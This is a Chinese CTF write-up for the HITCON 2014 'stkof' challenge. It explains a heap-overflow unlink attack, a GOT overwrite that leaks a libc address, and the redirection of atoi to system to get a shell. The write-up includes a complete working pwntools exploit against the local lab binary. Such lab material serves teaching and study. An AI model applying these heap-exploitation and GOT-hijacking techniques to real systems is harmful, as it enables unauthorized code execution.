CTF-Wiki中看到的一个案例,利用方法是Unlink。
由于CTF-Wiki中写的相当简略,忽略了很多细节,所以写这篇文章对其进行补充。

checksec

1
2
3
4
5
6
7
life@ubuntu:~/ctf/heap/2014_hitcon_stkof$ checksec stkof
[*] '/home/life/ctf/heap/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位程序,开启了Canary和NX保护,Partial RELRO说明我们可以对GOT进行改写。

功能

拖入IDA分析,该程序会根据输入的数字来进行对应的操作。

数字1:进入alloc函数,malloc指定大小的chunk,保存malloc的指针到globals[]数组里,位于bss段。
数字2:进入fill函数,根据id,从globals数组中选择相应的chunk,写入size长度的数据,造成堆溢出。
数字3:根据id,free对应的chunk,并把globals[id]清空。

  1. 需要一块small bin大小的chunk,用于触发unlink。
  2. 绕过Unlink的__builtin_expect检查。
  3. 通过堆溢出修改下一个chunk的inuse位为0。

步骤1、分配chunk

先在exp中定义一个alloc,用来申请size大小的chunk。

1
2
3
4
def alloc(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil('OK\n')

然后申请三个chunk,并查看内存布局。

1
2
3
alloc(0x100)
alloc(0x30)
alloc(0x80)

chunk1会夹杂在fgets和printf的缓冲区之中。

所以我们不需要chunk1,只利用chunk2和chunk3即可。

这是chunk2和chunk3:

我们后面就会用这两个chunk进行unlink。

由于已经分配了3个chunk,现在查看一下globals数组:

数组中保存是chunk的mem地址,分别对应分配的三个chunk。

unlink的思路是:

  1. 通过堆溢出,在chunk2上创造一个fake_chunk。
  2. 那么fake_chunk的P地址也就是0xe05940。
  3. 然后需要绕过unlink的检查机制,要求FD->bk要等于P,BK-fd也得等于P,否则就会报错。
  4. 因为P是0xe05940,我们可以利用globals中的第2个数组,因为这里本来存储的就是chunk2的mem。
  5. 最后再通过溢出,将chunk3的size的inuse位改成0,表示fake_chunk已经是空闲状态,可以进行合并。

然后定义数字2的函数,用于向堆中写数据,进行堆溢出:

1
2
3
4
5
6
def edit(ID,size,content):
p.sendline("2")
p.sendline(str(ID))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

fake_chunk:

1
2
3
4
5
6
7
8
fake_chunk = p64(0x0)
fake_chunk += p64(0x21)
fake_chunk += p64(0x602150-0x18) #fd
fake_chunk += p64(0x602150-0x10) #bk
fake_chunk += p64(0x20) #用于绕过nextsize大小检查。
fake_chunk += p64(0x0)
fake_chunk += p64(0x30) #prev_size
fake_chunk += p64(0x90) #通过堆溢出,将inuse改成0

向chunk2中写入fake_chunk:

1
edit(2,len(fake_chunk),fake_chunk)

此时chunk2的布局如下:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20xg 0xe05930
0xe05930: 0x0000000000000000 0x0000000000000041
0xe05940: 0x0000000000000000 0x0000000000000021
0xe05950: 0x0000000000602138 0x0000000000602140
0xe05960: 0x0000000000000020 0x0000000000000000
0xe05970: 0x0000000000000030 0x0000000000000090
0xe05980: 0x0000000000000000 0x0000000000000000
0xe05990: 0x0000000000000000 0x0000000000000000
0xe059a0: 0x0000000000000000 0x0000000000000000
0xe059b0: 0x0000000000000000 0x0000000000000000
0xe059c0: 0x0000000000000000 0x0000000000000000
1
2
3
def free(ID):
p.sendline("3")
p.sendline(str(ID))

然后我们free第3个chunk,程序就会进入unlink函数,检查FD->bk和BK->fd是不是等于0xe05940。

我们在fd上写的0x602138,它的bk就是+0x18,是0x602150,所以绕过了检查。BK位置同理。

最后的效果:
FD->bk = BK;

  • *(0x602138+0x18) = 0x602140

BK->fd = FD;

  • *(0x602140+0x10) = 0x602138

globals[2]的位置变成了 0x602138

改了它的好处就是,0x602138现在就是chunk2的指针了,以后再向chunk2写数据,就相当于写到了globals数组中。

步骤3、泄露libc地址

我们可以将globals[1]的位置改为free@got地址,然后调用edit向chunk1写数据,就相当于向free@got中写。

我们将free@got改成puts@plt,这样下次再调用free的时候就会puts出地址。

1
2
3
4
5
6
payload = p64(0x0)
payload += p64(0x0)
payload += p64(0x602018) # free@got.plt globals[1]
payload += p64(0x602020) # puts@got.plt globals[2]
payload += p64(0x602088) # atoi@got.plt globals[3]
edit(2,len(payload),payload)

现在globals[1]是free@got,将其写入puts@plt。

1
edit(1,len(p64(0x400760)),p64(0x400760)) #puts@plt

再次调用free,相当于调用了puts,打印了puts@got中的libc地址。

1
free(2)

步骤4、system

接收puts的libc地址:

1
2
puts_addr = p.recvuntil('\nOK\n',drop=True)
puts_addr = u64(puts_addr + '\x00\x00')

有了libc地址就可以执行system了。

计算system的地址:

1
2
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

将atoi@got.plt改成system地址,下次需要输入的时候,直接输入/bin/sh即可。

1
2
3
edit(3,len(p64(system_addr)),p64(system_addr))
p.send('/bin/sh\x00')
p.interactive()

总结

  1. 先分配三个chunk。
  2. 利用edit在chunk2中写入fake_chunk,用来触发unlink。
  3. 通过unlink将globals[2]的内容改为&globals[2]-0x18,也就是globals[-1]。
  4. 将globals[1]改为,free@got
  5. 将globals[2]改为,puts@got
  6. 将globals[3]改为,atoi@got
  7. 修改free@got的地址为puts@plt
  8. 再次调用free,相当于调用了puts,打印出libc地址。
  9. 利用得到的libc地址计算出system地址。
  10. 将atoi@got改为system地址。
  11. 下次要输入的时候,直接输入/bin/sh即可。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

p = process("./stkof")
libc = ELF('./libc.so.6')

def alloc(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(ID,size,content):
p.sendline("2")
p.sendline(str(ID))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(ID):
p.sendline("3")
p.sendline(str(ID))

# 分配chunk
alloc(0x100)
alloc(0x30)
alloc(0x80)


# 进行unlink
fake_chunk = p64(0x0)
fake_chunk += p64(0x21)
fake_chunk += p64(0x602150-0x18)
fake_chunk += p64(0x602150-0x10)
fake_chunk += p64(0x20)
fake_chunk += p64(0x0)
fake_chunk += p64(0x30)
fake_chunk += p64(0x90)
edit(2,len(fake_chunk),fake_chunk)
free(3)
p.recvuntil('OK\n')


# 泄露libc地址
payload = p64(0x0)
payload += p64(0x0)
payload += p64(0x602018)
payload += p64(0x602020)
payload += p64(0x602088)
edit(2,len(payload),payload)
edit(1,len(p64(0x400760)),p64(0x400760))
free(2)

#接收puts地址
puts_addr = p.recvuntil('\nOK\n',drop=True)
puts_addr = u64(puts_addr + '\x00\x00')
print hex(puts_addr)

#计算libc
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

#getshell
edit(3,len(p64(system_addr)),p64(system_addr))
p.send('/bin/sh\x00')
p.interactive()